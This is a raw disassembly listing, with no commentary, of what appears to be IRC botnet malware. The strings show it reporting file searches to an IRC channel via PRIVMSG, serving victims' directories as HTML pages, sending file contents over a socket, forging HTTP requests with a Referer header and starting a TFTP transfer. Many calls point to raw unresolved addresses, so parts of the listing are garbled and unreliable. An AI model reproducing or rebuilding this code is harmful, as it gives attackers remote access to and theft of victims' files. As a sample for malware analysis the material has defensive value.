		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------

loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2

loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------

loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------

loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al

loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al

loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A

loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2650426h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi

loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi

loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172B0
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------

loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx

loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43F700
		jmp	loc_406380
; ---------------------------------------------------------------------------

loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 2610691h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2650000h
		nop
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 25F1A27h

loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4450C4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_406352

loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_406340
; ---------------------------------------------------------------------------

loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43F700
		nop
		call	near ptr 2610941h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49CBp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------

loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------

loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531

loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525

loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8

loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh

loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2660654h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2660000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"

loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch

loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172B0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------

loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------

loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------

loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------

loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_406919:				; CODE XREF: sub_406387+315j
		push	esi

loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h

loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 25D0CB3h

loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	loc_4065AC

loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		call	near ptr 2650500h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2610691h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		nop
		call	near ptr 2650000h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE

loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]

loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 25F1127h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43F5FC
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax

loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52

loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		call	near ptr 25F1A27h
		nop

loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3

loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh

loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD

loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43F5E0
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43F668
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_43C80C

loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43F6B8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		pop	esi

loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 25D0CB3h
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
